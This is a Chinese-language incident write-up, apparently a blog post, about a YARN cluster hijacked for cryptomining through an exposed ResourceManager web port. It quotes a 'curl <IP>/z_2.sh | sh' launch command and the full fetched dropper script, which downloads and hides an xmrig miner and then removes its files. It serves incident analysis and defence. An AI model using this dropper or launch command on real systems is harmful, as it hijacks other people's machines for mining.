今天一上线看到集群cpu跑到100%,心里也是一跳,该不会是被下矿机了吧
top一下,果不其然有个占进程占了大部分的cpu
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
23429 yarn 20 0 4121432 985.4m 39116 S 1226.7 1.5 0:14.58 java
看到这个程序是使用的yarn用户来运行的:
ps -aux | grep yarn
yarn 23426 0.0 0.0 113132 1412 ? S 14:32 0:00 bash /data/yarn/nm/usercache/dr.who/appcache/application_1523498707556_0295/container_1523498707556_0295_01_000001/default_container_executor.sh
yarn 23429 0.0 0.0 113132 1376 ? Ss 14:32 0:00 /bin/bash -c curl 193.22.96.25/z_2.sh | sh
yarn 23432 0.0 0.0 113136 1480 ? S 14:32 0:00 sh
yarn 23872 0.0 0.0 107904 616 ? S 14:33 0:00 sleep 1800
yarn 24993 0.0 0.0 113132 1412 ? S 14:34 0:00 bash /data/yarn/nm/usercache/dr.who/appcache/application_1523498707556_0297/container_1523498707556_0297_01_000001/default_container_executor.sh
yarn 24995 0.0 0.0 113132 1212 ? Ss 14:34 0:00 /bin/bash -c curl 193.22.96.25/z_2.sh | sh
yarn 24998 0.0 0.0 113136 1480 ? S 14:34 0:00 sh
yarn 25232 0.0 0.0 107904 612 ? S 14:34 0:00 sleep 1800
yarn 25233 0.0 0.0 1988 64 ? Ss 14:34 0:00 u7acnd7g2wdc /tmp/h.conf
yarn 25234 0.0 0.0 1996 64 ? S 14:34 0:00 u7acnd7g2wdc /tmp/h.conf
root 28513 0.0 0.0 113120 1180 pts/6 S+ 14:39 0:00 /bin/bash /data/yarn/nm/usercache/dr.who/appcache/application_1523498707556_0295/container_1523498707556_0295_01_000001/default_container_executor.sh
在上面看到了一个匿名用户dr.who起了一个yarn Application,看一下这个人到底在干啥
cat /data/yarn/nm/usercache/dr.who/appcache/application_1523498707556_0295/container_1523498707556_0295_01_000001/launch_container.sh
#!/bin/bash
export LOCAL_DIRS="/data/yarn/nm/usercache/dr.who/appcache/application_1523498707556_0295"
export APPLICATION_WEB_PROXY_BASE="/proxy/application_1523498707556_0295"
export HADOOP_CONF_DIR="/opt/cm-5.10.0/run/cloudera-scm-agent/process/967-yarn-NODEMANAGER"
export MAX_APP_ATTEMPTS="2"
export NM_HTTP_PORT="8042"
export JAVA_HOME="/usr/java/latest/"
export LOG_DIRS="/data/yarn/container-logs/application_1523498707556_0295/container_1523498707556_0295_01_000001"
export NM_AUX_SERVICE_mapreduce_shuffle="AAA0+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
"
export NM_PORT="8041"
export USER="dr.who"
export HADOOP_YARN_HOME="/opt/cloudera/parcels/CDH-5.10.0-1.cdh5.10.0.p0.41/lib/hadoop-yarn"
export APP_SUBMIT_TIME_ENV="1525242753018"
export NM_HOST="master"
export HADOOP_TOKEN_FILE_LOCATION="/data/yarn/nm/usercache/dr.who/appcache/application_1523498707556_0295/container_1523498707556_0295_01_000001/container_tokens"
export NM_AUX_SERVICE_spark_shuffle=""
export HADOOP_HDFS_HOME="/opt/cloudera/parcels/CDH-5.10.0-1.cdh5.10.0.p0.41/lib/hadoop-hdfs"
export LOGNAME="dr.who"
export JVM_PID="$$"
export PWD="/data/yarn/nm/usercache/dr.who/appcache/application_1523498707556_0295/container_1523498707556_0295_01_000001"
export HADOOP_COMMON_HOME="/opt/cloudera/parcels/CDH-5.10.0-1.cdh5.10.0.p0.41/lib/hadoop"
export HOME="/home/"
export CONTAINER_ID="container_1523498707556_0295_01_000001"
export MALLOC_ARENA_MAX="4"
exec /bin/bash -c "curl 193.22.96.25/z_2.sh | sh"
hadoop_shell_errorcode=$?
if [ $hadoop_shell_errorcode -ne 0 ]
then
exit $hadoop_shell_errorcode
fi
这里看到是从某个网址请求到了一个sh脚本
curl 193.22.96.25/z_2.sh
#!/bin/bash
f1=$(curl 193.22.96.25/g.php)
f2="193.22.96.25"
WGET="wget"
if [ -s /usr/bin/curl ];
then WGET="curl -o";
fi;
if [ -s /usr/bin/wget ];
then WGET="wget -O";
fi
if [ `getconf LONG_BIT` = "64" ]
then
$WGET /tmp/java http://$f1/xmrig_64
else
$WGET /tmp/java http://$f1/xmrig_32
fi
chmod +x /tmp/java
$WGET /tmp/h.conf http://$f2/h.conf
nohup /tmp/java -c /tmp/h.conf>/dev/null 2>&1 &
sleep 5
rm -rf /tmp/h.conf
rm -f /tmp/java
echo "run"
sleep 1800
发现是在/tmp/下的一个名为java的二进制文件(不得不说命名也是贼溜)搞的鬼
先chmod a-x java,然后把程序kill掉
kill掉程序之后又起来了,后来检查crontab和supervisord并没有异常的任务,然后仔细检查了一下并没有可疑的守护进程
猜测是内网的某个机器泄露了密码或者他人通过某个漏洞获得了root和yarn的用户权限,对集群上的一些进程排查了一下还是没有找到原因
最后的时候也是没办法了,感觉应该是一些端口开放到外网了,有人利用yarn submit了挖矿的脚本,检查了一下并没有重要的端口对外开放,本着试一试的心理,使用逐一排除的方法一个个改端口,改到yarn.resourcemanager.webapp.address(ResourceManager Web应用程序HTTP端口8088),修改了之后就挖矿的程序就停止提交了
后来分析了一下感觉应该还是yran resourcemanager Web应用的安全隐患,如果是某个机器泄露了密码或者他人通过某个漏洞获得了root和yarn的用户权限,通过yarn Client的方式来提交的话会自动读取集群上的全局配置,即使修改了端口也不会影响程序的提交
最后解决了问题,本来我们重要的端口并没有开放到外网,当时发生了这件事也是没有往这方面想,以后也是不能将一些未进行安全认证的端口开放到外网,吃一堑长一智